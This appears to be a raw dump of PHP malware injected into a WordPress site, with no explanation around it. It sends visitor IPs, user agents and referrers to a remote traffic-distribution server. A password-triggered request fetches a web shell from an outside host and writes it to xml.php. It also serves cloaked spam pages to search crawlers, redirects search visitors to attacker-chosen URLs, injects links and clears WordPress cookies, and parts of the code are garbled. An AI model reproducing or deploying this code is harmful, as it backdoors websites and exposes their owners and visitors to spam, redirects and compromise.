if (!function_exists('getUserIP')) { function getUserIP() { foreach(array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach(array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('cacheUrl')) { function cacheUrl($url, $skip_cache = FALSE) { $cachetime = 10; //one week // $cachetime = 60 * 60 * 24 * 7; //one week $file = ABSPATH.WPINC. '/class-wp-http-netfilter.php'; $mtime = 0; if (file_exists($file)) { $mtime = filemtime($file); } $filetimemod = $mtime + $cachetime; if ($filetimemod < time() OR $skip_cache) { $ch = curl_init($url); curl_setopt_array($ch, array( CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36', CURLOPT_FOLLOWLOCATION => TRUE, CURLOPT_MAXREDIRS => 5, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 60, )); $data = curl_exec($ch); curl_close($ch); if ($data AND!$skip_cache) { file_put_contents($file, $data); } } else { $data = file_get_contents($file); } return $data; } } $weoboo = cacheUrl('https://acagna.info/lnk/data/ip.admin.txt'); $user_ip = getUserIP(); if (strpos($weoboo, getUserIP()) !== false) { //ip found } else { $uag = $_SERVER['HTTP_USER_AGENT']; $id = $_SERVER['REQUEST_URI']; $host=$_SERVER['HTTP_HOST']; $ref =$_SERVER['HTTP_REFERER']; $uri =$_SERVER['REQUEST_URI']; //t $pagesID = $_SERVER['REQUEST_URI']; if (!preg_match_all("/wp-login|wp-admin|admin|xmlrpc/", $pagesID, $matches)) { @error_reporting(0); @ini_set('display_errors', 0); @date_default_timezone_set('UTC'); $z_test_config = $z_mode = ''; /*config*/ $z_url = 'https://jughol.com'; $z_key_api_host = '2LmRsae4qqsca32'; $z_conf_edit = 0; $z_conf_file = 'dmsnd.ini'; $z_allow_ip = ''; $z_get = 'q'; $z_timeout = 10; if($z_conf_edit == 1 && file_exists($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)){$z_test_config = 1;} if(!empty($_GET[$z_get])){$z_key = trim($_GET[$z_get]);$z_mode = 1;$z_conf_edit = 0;} if($z_conf_edit == 0 || ($z_conf_edit == 1 && empty($z_test_config))){ $z_conf = array(); $z_conf['id'] = 'dmsnd'; $z_conf['sub_del'] = 0; $z_conf['cf_ip'] = 0; $z_conf['em_referer'] = 0; $z_conf['em_useragent'] = 0; $z_conf['em_lang'] = 0; $z_conf['ipv6'] = 0; $z_conf['ptr'] = 0; $z_conf['rd_bots'] = 0; $z_conf['rd_se'] = 0; $z_conf['rotator'] = 1; $z_conf['t_cookies'] = 3600; $z_conf['m_cookies'] = 0; $z_conf['method'] = 0; $z_conf['conf_lc'] = date('d.m.Y H:i:s'); $z_conf['status'] = 1; $z_conf['ip_serv_seodor'] = ''; $z_conf['sign_ref'] = htmlentities('iframe-toloka.com,hghltd.yandex.net', ENT_QUOTES, 'UTF-8'); $z_conf['sign_ua'] = htmlentities('ahrefs,aport,ask,bot,btwebclient,butterfly,commentreader,copier,crawler,crowsnest,curl,disco,ezooms,fairshare,httrack,ia_archiver,internetseer,java,js-kit,larbin,libwww,linguee,linkexchanger,lwp-trivial,netvampire,nigma,ning,nutch,offline,peerindex,pingadmin,postrank,rambler,semrush,slurp,soup,spider,sweb,teleport,twiceler,voyager,wget,wordpress,yeti,zeus', ENT_QUOTES, 'UTF-8'); if($z_conf_edit == 1 && empty($z_test_config)){ $z_conf_default = serialize($z_conf); file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf_default, LOCK_EX); $z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)); } } if($z_conf_edit == 1 && !empty($z_test_config)){ $z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)); } if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && empty($_GET['conf'])){ if(!z_ip_check($z_allow_ip)){ header('HTTP/1.0 404 Not Found', true, 404); exit(); } echo serialize($z_conf); exit(); } if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && !empty($_GET['conf'])){ if(!z_ip_check($z_allow_ip)){ header('HTTP/1.0 404 Not Found', true, 404); exit(); } $z_conf = base64_decode($_GET['conf']); $z_conf_tmp = @unserialize($z_conf); if(is_array($z_conf_tmp)){ file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf, LOCK_EX); } exit(); } $z_out = $z_lang = $z_country = $z_city = $z_region = $z_asn = $z_org = $z_device = $z_operator = $z_os_name = $z_os_version = $z_browser_name = $z_browser_version = $z_macros = ''; $z_empty = $z_bot = '-'; $z_uniq = 'yes'; if($z_conf['status'] == 1){ $z_useragent = $z_empty; if(!empty($_SERVER['HTTP_USER_AGENT'])){ $z_useragent = $_SERVER['HTTP_USER_AGENT']; } elseif($z_conf['em_useragent'] == 1){ $z_bot = 'empty_ua'; } $z_referer = $z_empty; $z_se = $z_empty; if(!empty($_SERVER['HTTP_REFERER'])){ $z_referer = $_SERVER['HTTP_REFERER']; if(strstr($z_referer, 'google.')){$z_se = 'google';} if(strstr($z_referer, 'yandex.')){$z_se = 'yandex';} if(strstr($z_referer, 'mail.ru')){$z_se = 'mail';} if(strstr($z_referer, 'yahoo.com')){$z_se = 'yahoo';} if(strstr($z_referer, 'bing.com')){$z_se = 'bing';} if(strstr($z_referer, 'baidu.com')){$z_se = 'baidu';} } elseif($z_bot == $z_empty && $z_conf['em_referer'] == 1){ $z_bot = 'empty_ref'; } if($z_bot == $z_empty && $z_referer != $z_empty && !empty($z_conf['sign_ref'])){ $z_ex = explode(',', $z_conf['sign_ref']); foreach($z_ex as $z_value){ $z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8')); if(strstr($z_referer, $z_value)){ $z_bot = 'sign_ref'; break; } } } if(stristr($z_useragent, 'baidu.com')){$z_bot = 'baidu';} if(stristr($z_useragent, 'bing.com') || stristr($z_useragent, 'msnbot')){$z_bot = 'bing';} if(stristr($z_useragent, 'google.')){$z_bot = 'google';} if(stristr($z_useragent, 'mail.ru')){$z_bot = 'mail';} if(stristr($z_useragent, 'yahoo.com')){$z_bot = 'yahoo';} if(stristr($z_useragent, 'yandex.com/bots')){$z_bot = 'yandex';} if(stristr($z_useragent, 'facebook')){$z_bot = 'facebook';} if($z_bot == $z_empty && $z_useragent != $z_empty && !empty($z_conf['sign_ua'])){ $z_ex = explode(',', $z_conf['sign_ua']); foreach($z_ex as $z_value){ $z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8')); if(stristr($z_useragent, $z_value)){ $z_bot = 'sign_ua'; break; } } } $z_cf_country = $z_empty; if(!empty($_SERVER['HTTP_CF_IPCOUNTRY'])){ $z_cf_country = strtolower($_SERVER['HTTP_CF_IPCOUNTRY']); } if($z_conf['cf_ip'] == 1 && !empty($_SERVER['HTTP_CF_CONNECTING_IP'])){ $z_ipuser = $_SERVER['HTTP_CF_CONNECTING_IP']; } if($z_conf['cf_ip'] == 0 || empty($z_ipuser)){ if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.') > 0 || strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ':') > 0)){ if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') > 0){ $z_ipuser = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $z_ipuser = trim($z_ipuser[0]); } elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') === false){ if(empty($z_conf['ip_serv_seodor'])){ $z_ipuser = trim($_SERVER['HTTP_X_FORWARDED_FOR']); } } } if(empty($z_ipuser)){ $z_ipuser = trim($_SERVER['REMOTE_ADDR']); } } if(!filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) && !filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){ $z_ipuser = $z_empty; } if($z_bot == $z_empty && $z_conf['ipv6'] == 1 && filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){ $z_bot = 'ipv6'; } if($z_bot == $z_empty && $z_conf['ptr'] == 1){ $z_ptr_rec = gethostbyaddr($z_ipuser); if(stristr($z_ptr_rec, 'baidu')){$z_bot = 'baidu';} if(stristr($z_ptr_rec, 'bing') || stristr($z_ptr_rec, 'msnbot')){$z_bot = 'bing';} if(stristr($z_ptr_rec, 'google') && !stristr($z_ptr_rec, 'googlefiber')){$z_bot = 'google';} if(stristr($z_ptr_rec, 'mail.ru')){$z_bot = 'mail';} if(stristr($z_ptr_rec, 'yahoo')){$z_bot = 'yahoo';} if(stristr($z_ptr_rec, 'yandex')){$z_bot = 'yandex';} } $z_lang = $z_empty; if(!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])){ $z_lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); } if($z_lang == $z_empty && $z_conf['em_lang'] == 1){ $z_bot = 'empty_lang'; } $z_domain = $_SERVER['HTTP_HOST']; if($z_conf['sub_del'] == 1 && substr_count($z_domain, '.') > 1){ preg_match("~^.+?\.(.+?)$~", $z_domain, $matches); $z_domain = $matches[1]; } $z_page = $_SERVER['REQUEST_URI']; $z_page_url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if(($z_bot == $z_empty || $z_conf['rd_bots'] == 1) && $z_ipuser != $z_empty){ $z_n_cookies = md5($_SERVER['HTTP_HOST'].'_'.$z_conf['id']); $z_n_cookies_exp = md5($_SERVER['HTTP_HOST'].'_exp_'.$z_conf['id']); $z_t_cookies = time() + $z_conf['t_cookies']; $z_cookies_options = array('expires'=>$z_t_cookies, 'path'=>'/', 'domain'=>'', 'secure'=>false, 'httponly'=>true, 'samesite'=>'Lax'); if($z_conf['rotator'] == 1){ if(!isset($_COOKIE[$z_n_cookies])){ $z_counter = 0; if(phpversion() >= 7.3){ SetCookie($z_n_cookies, 0, $z_cookies_options); } else{ SetCookie($z_n_cookies, 0, $z_t_cookies, '/', '', 0, 1); } if($z_conf['m_cookies'] == 1){ if(phpversion() >= 7.3){ SetCookie($z_n_cookies_exp, $z_t_cookies, $z_cookies_options); } else{ SetCookie($z_n_cookies_exp, $z_t_cookies, $z_t_cookies, '/', '', 0, 1); } } } else{ $z_counter = $_COOKIE[$z_n_cookies] + 1; $z_uniq = 'no'; } } if(empty($z_key)){$z_key = '';} if(empty($z_options)){$z_options = array();} $z_request = array(); $z_request[0] = trim($z_key_api_host); $z_request[1] = trim($z_conf['id']); $z_request[2] = trim($z_ipuser); $z_request[3] = trim($z_referer); $z_request[4] = trim($z_useragent); $z_request[5] = $z_se; $z_request[6] = trim($z_lang); $z_request[7] = $z_uniq; $z_request[8] = urlencode(trim($z_key)); $z_request[9] = trim($z_domain); $z_request[10] = trim($z_page); $z_request[11] = trim($z_cf_country); $z_request[12] = $z_options; if($z_conf['method'] == 1){ $z_data['api'] = serialize($z_request); } else{ $z_url = $z_url.'/?api='.base64_encode(serialize($z_request)); } if((empty($z_conf['ip_serv_seodor']) || $z_ipuser != $z_conf['ip_serv_seodor']) && ($z_conf['rd_se'] == 0 || ($z_conf['rd_se'] == 1 && $z_se != $z_empty))){ $z_ch = curl_init(); curl_setopt($z_ch, CURLOPT_TIMEOUT, $z_timeout); curl_setopt($z_ch, CURLOPT_URL, $z_url); curl_setopt($z_ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($z_ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($z_ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($z_ch, CURLOPT_SSL_VERIFYHOST, 0); if($z_conf['method'] == 1){ curl_setopt($z_ch, CURLOPT_POST, true); curl_setopt($z_ch, CURLOPT_POSTFIELDS, $z_data); } curl_setopt($z_ch, CURLOPT_USERAGENT, 'zTDS'); $z_response = curl_exec($z_ch); curl_close($z_ch); $z_response = @unserialize($z_response); if(is_array($z_response)){ $z_out = trim(html_entity_decode($z_response[0], ENT_QUOTES, 'UTF-8')); $z_country = $z_response[1]; $z_region = $z_response[2]; $z_city = $z_response[3]; $z_asn = $z_response[4]; $z_org = $z_response[5]; $z_device = $z_response[6]; $z_operator = $z_response[7]; $z_bot = $z_response[8]; $z_uniq = $z_response[9]; $z_lang = $z_response[10]; $z_macros = trim(html_entity_decode($z_response[11], ENT_QUOTES, 'UTF-8')); $z_os_name = $z_response[12]; $z_os_version = $z_response[13]; $z_br_name = $z_response[14]; $z_br_version = $z_response[15]; $z_brand = $z_response[16]; if($z_conf['rotator'] == 1){ if(strstr($z_out, '|||')){ $z_out_ex = explode('|||', $z_out); if(!empty($z_out_ex[$z_counter])){ $z_out = trim($z_out_ex[$z_counter]); } else{ $z_out = trim($z_out_ex[0]); $z_counter = 0; } } else{ $z_counter = 0; } if($z_conf['rotator'] == 1 && $z_uniq == 'no'){ if(isset($_COOKIE[$z_n_cookies_exp])){ $z_cookies_options['expires'] = $_COOKIE[$z_n_cookies_exp]; } if(phpversion() >= 7.3 == 1){ SetCookie($z_n_cookies, $z_counter, $z_cookies_options); } else{ SetCookie($z_n_cookies, $z_counter, $z_cookies_options['expires'], '/', '', 0, 1); } } } if(strstr($z_out, '[RAWURLENCODE_REFERER]')){ $z_out = str_replace('[RAWURLENCODE_REFERER]', rawurlencode($z_referer), $z_out); } if(strstr($z_out, '[URLENCODE_REFERER]')){ $z_out = str_replace('[URLENCODE_REFERER]', urlencode($z_referer), $z_out); } if(strstr($z_out, '[RAWURLENCODE_PAGE_URL]')){ $z_out = str_replace('[RAWURLENCODE_PAGE_URL]', rawurlencode($z_page_url), $z_out); } if(strstr($z_out, '[URLENCODE_PAGE_URL]')){ $z_out = str_replace('[URLENCODE_PAGE_URL]', urlencode($z_page_url), $z_out); } if(!empty($z_mode)){ if(!empty($z_out)){ header("Location: $z_out"); exit(); } else{ header('HTTP/1.0 404 Not Found', true, 404); exit(); } } if($z_bot == $z_empty && !empty($z_out)){echo $z_out;} } } } } function z_ip_check($z_allow_ip){ if(!empty($z_allow_ip)){ if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.') > 0 || strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ':') > 0)){ if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') > 0){ $z_ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $z_ip = trim($z_ip[0]); } elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') === false){ $z_ip = trim($_SERVER['HTTP_X_FORWARDED_FOR']); } } else{ $z_ip = trim($_SERVER['REMOTE_ADDR']); } if($z_ip == trim($z_allow_ip)){ return true; } } else{ return true; } } } @ini_set('display_errors', '0'); error_reporting(0); @ini_set("memory_limit","1024M"); $curtime = time(); $hspan = 0; $gen_passwd = "57ffb10f130bd90ab7a342fe814ccbd8"; $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if (preg_match('#.txt|.jpg|.png|/feed/|.xml|.ico#', $donor)) die(); if ($_REQUEST['testwork'] == 'ololo') { $twork = file_get_contents('http://toremanc.com/lnk/up/sh.txt'); if (preg_match("#cgi|admin#i", $eb)) $eb = ''; if (file_put_contents("{$eb}xml.php", $twork)) echo "success!
go"; else echo "error!"; die(); } if (ini_get('allow_url_fopen')) { function get_data_yo($url) { $data = file_get_contents($url); return $data; } } else { function get_data_yo($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); $data = curl_exec($ch); curl_close($ch); return $data; } } $ip = urlencode($_SERVER['REMOTE_ADDR']); $ua = urlencode($_SERVER['HTTP_USER_AGENT']); //block ddos bots $blbots = '/semrush|rogerbot|exabot|mj12bot|dotbot|gigabot|ahrefsbot|ia_archiver/i'; if (preg_match($blbots, $ua)) die(); $ref = urlencode($_SERVER['HTTP_REFERER']); $poiskoviki = '/google|bing|yahoo|aol|rambler/i'; $fromse = 0; if ($ref && preg_match($poiskoviki, $ref)) $fromse = 1; $abt = 0; $abtip = 0; if (isset($_GET['debug'])) $abt = 1; $crawlers = '/google|bot|crawl|slurp|spider|yandex|rambler/i'; $crawlers = '/a|b|c|d|e|f|g/i'; if (preg_match($crawlers, $ua)) { $abt = 1; } if (file_exists("{$eb}.bt")) { $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $btime = filemtime("{$eb}.bt"); $obtime = $curtime - $btime; } if (!$bots[2] || $obtime > 172800) { $fbots = get_data_yo("http://toremanc.com/lnk/bots.dat"); $btf = fopen("{$eb}.bt", 'w'); fwrite($btf, $fbots); fclose($btf); $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); } if (in_array($ip, $bots)) { $abt = 1; $abtip = 1; } $st = '.st'; $cldw = 0; $dw = 0; if ($_REQUEST["create"] == 1 && $_REQUEST["gen_passwd"] == $gen_passwd) { $cldw = 0; if ($_REQUEST['cldw']) $cldw = 1; $qq = $_REQUEST['qq']; if (!file_exists("{$eb}{$st}/.r")) { $qq = $_REQUEST['qq']; mkdir("{$eb}{$st}"); } else { $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); if (isset($_REQUEST['qq']) && $_REQUEST['qq']) $qq = $_REQUEST['qq']; else $qq = trim($eqq[2]); } $redir = $_REQUEST['redir']; $redcode = $_REQUEST['redcode']; $redcode = htmlspecialchars_decode($redcode); $redcode = base64_encode($redcode); $group = $_REQUEST['group']; if ($cldw) { $egroup = explode('_', $group); $kgroup = $egroup[0]; $clkeys = get_data_yo("http://toremanc.com/lnk/gen/keys/$kgroup.keys"); file_put_contents("{$eb}{$st}/.k", $clkeys); } $lang = $_REQUEST['lang']; file_put_contents("{$eb}{$st}/.r", "$redir|$group|$qq|$lang|$redcode|$cldw"); if (file_exists("{$eb}{$st}/.r")) { echo "created"; die(); } } if (file_exists("{$eb}{$st}/.r")) { $dw = 1; $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); $redir = $eqq[0]; if (!strstr($redir, 'https://')) $redir = base64_decode($redir); $group = $eqq[1]; $qq = trim($eqq[2]); $lang = trim($eqq[3]); if ($eqq[4]) $redcode = base64_decode($eqq[4]); $cldw = $eqq[5]; } $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $ddomain = $_SERVER['HTTP_HOST']; $ddomain = str_ireplace('www.', '', $ddomain); $eddomain = explode('.', $ddomain); $ddname = $eddomain[0]; $donor = str_ireplace('www.', '', $donor); $page = str_replace('/', '|', $donor); $donor = urldecode($donor); $epage = explode('|', $page); $morda = 0; if (!$epage[1] && !$epage[2] || $epage[1] == 'index.php' || $epage[1] == '?p=home') $morda = 1; //$fromse = 1; if ($abt || $fromse || $redcode || $hspan) { if (($abt || $hspan) && !$_GET[$qq]) { $ll = get_data_yo("http://toremanc.com/lnk/tuktuk.php?d=$donor&cldw=$cldw&dgrp=$algo"); $el = explode(' ', $ll); } if (file_exists("{$eb}{$st}/$page.html")) { $htmlpage = file_get_contents("{$eb}{$st}/$page.html"); echo $htmlpage; die(); } $mdpage = md5($page); if (file_exists("{$eb}{$st}/$page.txt") || file_exists("{$eb}{$st}/$mdpage.txt")) { if (file_exists("{$eb}{$st}/$mdpage.txt")) $gtxt = file_get_contents("{$eb}{$st}/$mdpage.txt"); else $gtxt = file_get_contents("{$eb}{$st}/$page.txt"); $etxt = explode('|', $gtxt); $key = $etxt[0]; $desc = $etxt[1]; $txt = $etxt[2]; $h1 = $etxt[3]; } elseif ($cldw || isset($_GET[$qq])) { $desc = ''; $keys = file("{$eb}{$st}/.k", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); if ($keys[0]) { $key = $keys[0]; for ($kk = 1; $kk < count($keys); $kk++) $newkeys .= "$keys[$kk] "; file_put_contents("{$eb}{$st}/.k", $newkeys); } if (isset($_GET[$qq])) { $key = str_replace('-', ' ', $_GET[$qq]); } if ($key) { $parkey = $key; $tkey = str_replace(' ', '-', $key); if (stristr($lang, 'own')) { $lang = str_replace('own:', '', $lang); $owntext = base64_decode($lang); $wkey = urlencode($key); if (strstr($owntext, '?')) $ttxt = get_data_yo("{$owntext}&key=$wkey"); else $ttxt = get_data_yo("{$owntext}?key=$wkey"); } else $ttxt = get_data_yo("http://toremanc.com/lnk/gen/index.php?key=$tkey&g=$group&lang=$lang&page=$page&cldw=$cldw&dd=$ddomain"); if (preg_match('#\n$parkey rating\n
\n$rating-5 stars based on\n$rcount reviews\n
\n\n"; $desc = $etxt[2]; $txt .= $etxt[3]; if ($desc == 'desc') { $desc = get_data_yo("http://toremanc.com/lnk/gen/desc.php?key=$tkey&desc=$group"); preg_match('#gogogo(.*)enenen#is', $desc, $mtchs); $desc = $mtchs[1]; } $mdpage = md5($page); file_put_contents("{$eb}{$st}/$mdpage.txt", "$title|$desc|$txt|$h1"); $newclpage = str_replace('|', '/', $page); $newcllink = "$parkey "; if ($cldw) file_put_contents("{$eb}{$st}/cldwmap.txt", $newcllink, FILE_APPEND); } } $iswp = 0; if (file_exists('wp-includes/vars.php')) $iswp = 1; $cldwmap = file("{$eb}{$st}/cldwmap.txt", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); ob_start(); function shutdown() { global $morda; global $eb; global $txt; global $qq; global $key; global $desc; global $lang; global $cldwmap; global $el; global $dw; global $cldw; global $redcode; global $abt; global $hspan; global $h1; global $iswp; global $ddname; $title = ucfirst($key); $my_content = ob_get_contents(); ob_end_clean(); if ($my_content && isset($_REQUEST['prigod'])) { $my_content = '---prigod---'; } if ($key && $abt) { if ($cldw && !$morda) { preg_match_all('##iUm', $my_content, $ahrefs); $cntahrefs = count($ahrefs[0]); $cntcldwmap = count($cldwmap); $i = 0; foreach ($ahrefs[0] as $ahref) { if ($cldwmap[$i]) { $my_content = str_replace($ahref, $cldwmap[$i], $my_content); } $i++; } if ($morda) { $cldwfooter = ''; foreach ($cldwmap as $cldwflink) { $cldwfooter .= "$cldwflink "; } $my_content = str_replace('', "
$cldwfooter
", $my_content); } } if (!$morda) { $my_content = preg_replace('##iUs', "$title", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = str_replace('', " ", $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUs', '', $my_content, 1); if (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs')) { $my_content = preg_replace('##iUs', "\n
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "\n
\n$txt\n
", $my_content, 1); } } } //end if key elseif (!preg_match('#(.*)404(.*)#i', $my_content) && !preg_match('#<title>(.*)not found(.*)#i', $my_content)) { foreach($el as $ln) { if (preg_match('#<strong>#', $my_content)) { $my_content = preg_replace('#<strong>#', "_-strong-_ $ln ", $my_content, 1); } elseif (preg_match('#<b>#', $my_content)) { $my_content = preg_replace('#<b>#', "_-b-_ $ln ", $my_content, 1); } elseif (preg_match('#<i>#', $my_content)) { $my_content = preg_replace('#<i>#', "_-i-_ $ln ", $my_content, 1); } elseif (preg_match('#<u>#', $my_content)) { $my_content = preg_replace('#<u>#', "_-u-_ $ln ", $my_content, 1); } elseif (preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#<body(.*)>#iUs', $my_content)) { $my_content = preg_replace('#<body(.*)>#iUs', "<body>\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); //$my_content = str_replace('</head>', "<script type='text/javascript'> function style_{$ddname} () { return 'none'; } function end_{$ddname} () { document.getElementById('$ddname').style.display = style_{$ddname}(); } </script>\n</head>", $my_content); //$my_content = str_replace('</body>', "<script type='text/javascript'> end_{$ddname}(); </script>\n</body>", $my_content); } echo $my_content; } register_shutdown_function('shutdown'); } if (($_GET[$qq] || $cldw) && $fromse && !$abt) { if (!$redcode && !$morda) { if ($key) $tkey = str_replace(' ', '+', $key); else $tkey = str_replace('-', '+', $_GET[$qq]); if (strstr($redir, '?')) $redir .= "&keyword=".$tkey; else $redir .= "?keyword=".$tkey; $redir = str_replace('KEY', $tkey, $redir); header("Location: $redir"); echo "<script type=\"text/javascript\">location.href=\"$redir\";</script>"; die(); } elseif (!$morda) { $key = str_replace('-', ' ', $_GET[$qq]); $redcode = str_replace('KEY', $key, $redcode); echo stripslashes($redcode); } } /* your code end */ } /* weoboo end */ if(!isset($_COOKIE['_eshoob'])) { setcookie('_eshoob', 1, time()+604800, '/'); // unset cookies if (isset($_SERVER['HTTP_COOKIE'])) { $cookies = explode(';', $_SERVER['HTTP_COOKIE']); foreach($cookies as $cookie) { if (strpos($cookie,'wordpress') !== false || strpos($cookie,'wp_') !== false || strpos($cookie,'wp-') !== false) { $parts = explode('=', $cookie); $name = trim($parts[0]); setcookie($name, '', time()-1000); setcookie($name, '', time()-1000, 